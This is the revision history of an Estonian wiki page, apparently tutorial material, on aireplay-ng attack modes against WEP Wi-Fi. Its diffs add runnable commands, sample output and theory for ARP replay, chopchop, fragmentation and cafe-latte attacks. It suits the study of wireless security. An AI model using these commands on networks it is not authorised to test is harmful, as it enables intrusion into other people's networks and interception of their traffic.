Aireplay-ng ründerežiimid - Revision history

Tliiv: /* Klientideta võrgu ründamine */

2011-05-24T19:27:13Z

Klientideta võrgu ründamine

← Older revision		Revision as of 22:27, 24 May 2011
Line 185:		Line 185:
	===Klientideta võrgu ründamine===		===Klientideta võrgu ründamine===
	Sellel meetodil on väga huvitav omadus see, et saab rünnata ka traadita-klientideta AP'd. Jooksuta aireplay-d kõige elementaarsemate argumentidega:		Sellel meetodil on väga huvitav omadus see, et saab rünnata ka traadita-klientideta AP'd. Jooksuta aireplay-d kõige elementaarsemate argumentidega:
	<pre>$ sudo aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -t 1 ~~ath0~~		<pre>$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA-d FF:FF:FF:FF:FF:FF -t 1 mon0
	...		...
	</pre>		</pre>

Tliiv: /* Teooria */

2011-05-24T19:26:56Z

Teooria

← Older revision		Revision as of 22:26, 24 May 2011
Line 210:		Line 210:
	Esimene samm on võtta püütud pakett (M) ja eemaldada viimane bait, et saada sõnum M-1. Kuna me ei tea eemaldatud baidi ''plaintekst'' väärtust, peame hakkama seda arvama. Õnneks on ainult 256 võimalikku baidiväärtust. Esmaks eeldame siis et eemaldatud bait oli 0x00 ja paneme saadud sõnumi valemisse(liiga mahukas et siin kirjeldada), et luua abitmask mis üritab muuta ebakorrektset M-1 paketti valiidseks M-1 paketiks. Siis proovime paki korrektsust pritsides selle võrku. Kui AP selle kätte saab, siis kontrollitakse seda ja vastavalt aksepteeritakse või ignoreeritakse. Iga saadetud pakk baseerub arvataval baidil, niiet tõenäosus õige olla on 1/256. Kui pakett on aga õige, siis AP valideerib selle ja edastab võrku. Eeldades et sa samal ajal kuulad võrku saad näha kui AP seda teeb. Sellisel juhul tead mis on paki viimane bait. Siis on võimalik arvutada PRGA väärtus mida kasutati selle plaintekst baidi krüptimiseks(P XOR M = RC4 PRGA). Ühesõnaga, ründaja saab bait baidi haaval kogu paketi niimoodi ära arvata, boonuseks on ka keystream millega saad oma paki luua.[11]		Esimene samm on võtta püütud pakett (M) ja eemaldada viimane bait, et saada sõnum M-1. Kuna me ei tea eemaldatud baidi ''plaintekst'' väärtust, peame hakkama seda arvama. Õnneks on ainult 256 võimalikku baidiväärtust. Esmaks eeldame siis et eemaldatud bait oli 0x00 ja paneme saadud sõnumi valemisse(liiga mahukas et siin kirjeldada), et luua abitmask mis üritab muuta ebakorrektset M-1 paketti valiidseks M-1 paketiks. Siis proovime paki korrektsust pritsides selle võrku. Kui AP selle kätte saab, siis kontrollitakse seda ja vastavalt aksepteeritakse või ignoreeritakse. Iga saadetud pakk baseerub arvataval baidil, niiet tõenäosus õige olla on 1/256. Kui pakett on aga õige, siis AP valideerib selle ja edastab võrku. Eeldades et sa samal ajal kuulad võrku saad näha kui AP seda teeb. Sellisel juhul tead mis on paki viimane bait. Siis on võimalik arvutada PRGA väärtus mida kasutati selle plaintekst baidi krüptimiseks(P XOR M = RC4 PRGA). Ühesõnaga, ründaja saab bait baidi haaval kogu paketi niimoodi ära arvata, boonuseks on ka keystream millega saad oma paki luua.[11]

	<pre>$ sudo aireplay-ng -4 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA ~~ath0~~		<pre>$ sudo aireplay-ng -4 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA mon0
	Read 165 packets...		Read 165 packets...

Tliiv: /* Rünnak 7: Client-oriented fragmentation attack */

2011-05-24T19:26:43Z

Rünnak 7: Client-oriented fragmentation attack

← Older revision		Revision as of 22:26, 24 May 2011
Line 328:		Line 328:

	Igaljuhul kasutatakse CRC korrektsuse säilitamiseks ''bit flippingut''. Sama meetodit kasutatakse ka ARP paketi lähtekoha MAC'i muutmiseks juhul kui seal on algselt ''multicast''.[15]		Igaljuhul kasutatakse CRC korrektsuse säilitamiseks ''bit flippingut''. Sama meetodit kasutatakse ka ARP paketi lähtekoha MAC'i muutmiseks juhul kui seal on algselt ''multicast''.[15]

			===Kasutamine===
			<pre>$ sudo aireplay-ng -7 -h CC:CC:CC:CC:CC:CC -D mon0
			...
			</pre>

	=Viited=		=Viited=

Tliiv: /* Rünnak 6: Cafe-latte attack */

2011-05-24T19:25:00Z

Rünnak 6: Cafe-latte attack

← Older revision		Revision as of 22:25, 24 May 2011
Line 308:		Line 308:
	===Kasutamine===		===Kasutamine===
	Seda rünnakut saab kasutada reaalsest võrgust eraldatud kliendi puhul. Kliendid teevad tuntud võrkude otsimisel PROBE päringuid, millele saab ründaja siis fake APga vastata. Sellisel juhul peaks kasutama "-D" argumenti et lülitada välja AP otsimine.[14]		Seda rünnakut saab kasutada reaalsest võrgust eraldatud kliendi puhul. Kliendid teevad tuntud võrkude otsimisel PROBE päringuid, millele saab ründaja siis fake APga vastata. Sellisel juhul peaks kasutama "-D" argumenti et lülitada välja AP otsimine.[14]

			<pre>
			$ sudo aireplay-ng -6 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA -D mon0
			...
			</pre>

	==Rünnak 7: Client-oriented fragmentation attack==		==Rünnak 7: Client-oriented fragmentation attack==

Tliiv: /* Rünnak 5: Fragmentation attack */

2011-05-24T19:23:12Z

Rünnak 5: Fragmentation attack

@@ Line 259: / Line 259: @@
 <pre>
-Saving chosen packet in replay_src-0124-161120.cap
+$ sudo aireplay-ng -5 -b AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
   Data packet found!
   Sending fragmented packet
@@ Line 270: / Line 290: @@
   Got RELAYED packet!!
   Thats our ARP packet!
-  Saving keystream in fragment-0124-161129.xor
+  Saving keystream in fragment-0001-123456.xor
   Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
 </pre>

Tliiv: /* Teooria */

2011-05-24T19:21:07Z

Teooria

← Older revision		Revision as of 22:21, 24 May 2011
Line 210:		Line 210:
	Esimene samm on võtta püütud pakett (M) ja eemaldada viimane bait, et saada sõnum M-1. Kuna me ei tea eemaldatud baidi ''plaintekst'' väärtust, peame hakkama seda arvama. Õnneks on ainult 256 võimalikku baidiväärtust. Esmaks eeldame siis et eemaldatud bait oli 0x00 ja paneme saadud sõnumi valemisse(liiga mahukas et siin kirjeldada), et luua abitmask mis üritab muuta ebakorrektset M-1 paketti valiidseks M-1 paketiks. Siis proovime paki korrektsust pritsides selle võrku. Kui AP selle kätte saab, siis kontrollitakse seda ja vastavalt aksepteeritakse või ignoreeritakse. Iga saadetud pakk baseerub arvataval baidil, niiet tõenäosus õige olla on 1/256. Kui pakett on aga õige, siis AP valideerib selle ja edastab võrku. Eeldades et sa samal ajal kuulad võrku saad näha kui AP seda teeb. Sellisel juhul tead mis on paki viimane bait. Siis on võimalik arvutada PRGA väärtus mida kasutati selle plaintekst baidi krüptimiseks(P XOR M = RC4 PRGA). Ühesõnaga, ründaja saab bait baidi haaval kogu paketi niimoodi ära arvata, boonuseks on ka keystream millega saad oma paki luua.[11]		Esimene samm on võtta püütud pakett (M) ja eemaldada viimane bait, et saada sõnum M-1. Kuna me ei tea eemaldatud baidi ''plaintekst'' väärtust, peame hakkama seda arvama. Õnneks on ainult 256 võimalikku baidiväärtust. Esmaks eeldame siis et eemaldatud bait oli 0x00 ja paneme saadud sõnumi valemisse(liiga mahukas et siin kirjeldada), et luua abitmask mis üritab muuta ebakorrektset M-1 paketti valiidseks M-1 paketiks. Siis proovime paki korrektsust pritsides selle võrku. Kui AP selle kätte saab, siis kontrollitakse seda ja vastavalt aksepteeritakse või ignoreeritakse. Iga saadetud pakk baseerub arvataval baidil, niiet tõenäosus õige olla on 1/256. Kui pakett on aga õige, siis AP valideerib selle ja edastab võrku. Eeldades et sa samal ajal kuulad võrku saad näha kui AP seda teeb. Sellisel juhul tead mis on paki viimane bait. Siis on võimalik arvutada PRGA väärtus mida kasutati selle plaintekst baidi krüptimiseks(P XOR M = RC4 PRGA). Ühesõnaga, ründaja saab bait baidi haaval kogu paketi niimoodi ära arvata, boonuseks on ka keystream millega saad oma paki luua.[11]

	<pre> .........		<pre>$ sudo aireplay-ng -4 -h CC:CC:CC:CC:CC:CC -b AA:AA:AA:AA:AA:AA ath0
			Read 165 packets...

			Size: 86, FromDS: 1, ToDS: 0 (WEP)

			BSSID = AA:AA:AA:AA:AA:AA
			Dest. MAC = FF:FF:FF:FF:FF:FF
			Source MAC = CC:CC:CC:CC:CC:CC

			0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@.
			0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.."
			0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C
			0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s
			0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i.
			0x0050: cfeb 4a72 be46 ..Jr.F

			Use this packet ? y

			Saving chosen packet in replay_src-0001-123456.cap

			Offset 85 ( 0% done) \| xor = D3 \| pt = 95 \| 253 frames written in 760ms
			Offset 84 ( 1% done) \| xor = EB \| pt = 55 \| 166 frames written in 498ms
			Offset 83 ( 3% done) \| xor = 47 \| pt = 35 \| 215 frames written in 645ms
			Offset 82 ( 5% done) \| xor = 07 \| pt = 4D \| 161 frames written in 483ms
			Offset 81 ( 7% done) \| xor = EB \| pt = 00 \| 12 frames written in 36ms
			...
	Offset 38 (90% done) \| xor = FD \| pt = 08 \| 229 frames written in 688ms		Offset 38 (90% done) \| xor = FD \| pt = 08 \| 229 frames written in 688ms
	Offset 37 (92% done) \| xor = 13 \| pt = 01 \| 232 frames written in 695ms		Offset 37 (92% done) \| xor = 13 \| pt = 01 \| 232 frames written in 695ms
Line 220:		Line 245:
	Enabling standard workaround: ARP header re-creation.		Enabling standard workaround: ARP header re-creation.

	Saving plaintext in replay_dec-~~0201~~-~~191706~~.cap		Saving plaintext in replay_dec-0001-123457.cap
	Saving keystream in replay_dec-~~0201~~-~~191706~~.xor		Saving keystream in replay_dec-0001-123456.xor

	Completed in 21s (2.29 bytes/s)</pre>		Completed in 21s (2.29 bytes/s)</pre>
	Jee! Saad kasutada xor faili oma paki injectimiseks või ~~lugeda~~ paki sisu .cap failist. Vaata ainult et paki injectimisel kasutad autentitud source maci, väga väheste ruuterite korral töötab paki sisestamine ''broadcasti'' ilma autentimata. Soovitatav on võtta ka lühem pakett kuna dekrüptimise aeg on lineaarselt seotud paketi pikkusega.[10]		Jee! Saad kasutada xor faili oma paki injectimiseks või lugemiseks paki sisu .cap failist. Vaata ainult et paki injectimisel kasutad autentitud source maci, väga väheste ruuterite korral töötab paki sisestamine ''broadcasti'' ilma autentimata. Soovitatav on võtta ka lühem pakett kuna dekrüptimise aeg on lineaarselt seotud paketi pikkusega.[10]

	==Rünnak 5: Fragmentation attack==		==Rünnak 5: Fragmentation attack==

Tliiv: /* Klientideta võrgu ründamine */

2011-05-24T19:06:23Z

Klientideta võrgu ründamine

← Older revision		Revision as of 22:06, 24 May 2011
Line 185:		Line 185:
	===Klientideta võrgu ründamine===		===Klientideta võrgu ründamine===
	Sellel meetodil on väga huvitav omadus see, et saab rünnata ka traadita-klientideta AP'd. Jooksuta aireplay-d kõige elementaarsemate argumentidega:		Sellel meetodil on väga huvitav omadus see, et saab rünnata ka traadita-klientideta AP'd. Jooksuta aireplay-d kõige elementaarsemate argumentidega:
	<pre>aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -t 1 ath0</pre>		<pre>$ sudo aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -t 1 ath0
			...
			</pre>

	Nüüd jääb üle vaid oodata kuni mõni pakett broadcasti saadetakse. Pole tähtis milline pakket, sisesta lihtsalt "y" esimesele tulevale pakile ja AP hakkab IV'sid genereerima. Negatiivne külg asjal on tõsiasi et paljud pakid on suhteliselt suured - suured pakid genereerivad IV'sid aeglasemalt. Suur pluss on see et ei ole vaja kinni püüda xor paketistriimi(chopchop või fragmenteeritud rünnakud), ehitada pakki ja käivitada relay rünnakut.[8]		Nüüd jääb üle vaid oodata kuni mõni pakett broadcasti saadetakse. Pole tähtis milline pakket, sisesta lihtsalt "y" esimesele tulevale pakile ja AP hakkab IV'sid genereerima. Negatiivne külg asjal on tõsiasi et paljud pakid on suhteliselt suured - suured pakid genereerivad IV'sid aeglasemalt. Suur pluss on see et ei ole vaja kinni püüda xor paketistriimi(chopchop või fragmenteeritud rünnakud), ehitada pakki ja käivitada relay rünnakut.[8]

Tliiv: /* Rünnak 3: ARP request replay attack */

2011-05-24T19:06:06Z

Rünnak 3: ARP request replay attack

← Older revision		Revision as of 22:06, 24 May 2011
Line 192:		Line 192:
	Klassikaline ARP päringu taasmängimise rünnak on efektiivseim viis IV'de genereerimiseks, ja ta töötab ka piisavalt stabiilselt. Programm kuulab ARP paketti(tunneb ära kindlate mittekrüptimata väljade järgi ja paki pikkuse järgi) ning hakkab seda AP'le taasmängima. See omakorda põhjustab igale päringu vastusele uue IV genereerimise.		Klassikaline ARP päringu taasmängimise rünnak on efektiivseim viis IV'de genereerimiseks, ja ta töötab ka piisavalt stabiilselt. Programm kuulab ARP paketti(tunneb ära kindlate mittekrüptimata väljade järgi ja paki pikkuse järgi) ning hakkab seda AP'le taasmängima. See omakorda põhjustab igale päringu vastusele uue IV genereerimise.
	Seda rünnakut võib lugeda interaktiivse taasmängimise erijuhuks.[9]		Seda rünnakut võib lugeda interaktiivse taasmängimise erijuhuks.[9]

			<pre>
			$ sudo aireplay-ng -3 -b AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
			Saving ARP requests in replay_arp-0001-123456.cap
			You should also start airodump-ng to capture replies.
			Read 11978 packets (got 7193 ARP requests), sent 3902 packets...
			</pre>

	==Rünnak 4: KoreK chopchop attack==		==Rünnak 4: KoreK chopchop attack==

Tliiv: /* Manipuleeritavad pakid */

2011-05-24T18:59:58Z

Manipuleeritavad pakid

← Older revision		Revision as of 21:59, 24 May 2011
Line 161:		Line 161:
	Me ei hooli ka mis lõppunkti MAC aadress on, kuna me saame selle ära muuta. Selleks on "-p 0841" argument, mis muudab paki põhimõtte selliseks nagu ta saadetaks kliendist AP'sse - põmst. muudab "To DS" lipu "1". Vaja on anda ka "-c" väärtuseks broadcast MAC.[8]		Me ei hooli ka mis lõppunkti MAC aadress on, kuna me saame selle ära muuta. Selleks on "-p 0841" argument, mis muudab paki põhimõtte selliseks nagu ta saadetaks kliendist AP'sse - põmst. muudab "To DS" lipu "1". Vaja on anda ka "-c" väärtuseks broadcast MAC.[8]

			<pre>
			$ sudo aireplay-ng -2 -b AA:AA:AA:AA:AA:AA -t 1 -c FF:FF:FF:FF:FF:FF -p 0841 mon0
			Read 10 packets...

			Size: 124, FromDS: 0, ToDS: 1 (WEP)

			BSSID = AA:AA:AA:AA:AA:AA
			Dest. MAC = BB:BB:BB:BB:BB:BB
			Source MAC = CC:CC:CC:CC:CC:CC

			0x0000: 0841 2c00 0014 6c7e 4080 000f b534 3030 .A,...l~@....400
			0x0010: 0040 f477 e5c9 90c9 3d79 8b00 ce59 2bd7 .@.w....=y...Y+.
			0x0020: 96e7 fadf e0de 2e99 c019 4f85 9508 3bcc ..........O...;.
			0x0030: 8d18 dbd5 92a7 a711 87d8 58d3 02b3 7be7 ..........X...{.
			0x0040: 8bf1 69c0 c596 3bd1 436a 9598 762c 9d1d ..i...;.Cj..v,..
			0x0050: 7a57 3f3d e13c dad0 f2d8 0e65 6d66 d913 zW?=.<.....emf..
			0x0060: 9716 84a0 6f9a 0c68 2b20 7f55 ba9a f825 ....o..h+ U...%
			0x0070: bf22 960a 5c7b 3036 290a 89d6 ."..\{06)...

			Use this packet ? y
			</pre>

	===Klientideta võrgu ründamine===		===Klientideta võrgu ründamine===

Tliiv: /* Naturaalsed paketid */

2011-05-24T18:57:14Z

Naturaalsed paketid

@@ Line 135: / Line 135: @@
 Et seda teha, tuleb meil kas taasmängida originaalpaketti, või paketti veidi manipuleerida.  AP'd edastavad(tekitavad uue IV) alati pakkidele mis on suunatud broadcast MACi(FF:FF:FF:FF:FF:FF) vastu. Selline omadus on näiteks ARP pakettidel. Peale selle on vajalik et pakett liiguks traadita kliendist traadiga võrku. Sellisel pakettil on "To DS" lipuke seatud "1" peale.
 Need  filtrid on seadistatavad -b,-d ja -t argumentidega.[8]
 ===Manipuleeritavad pakid===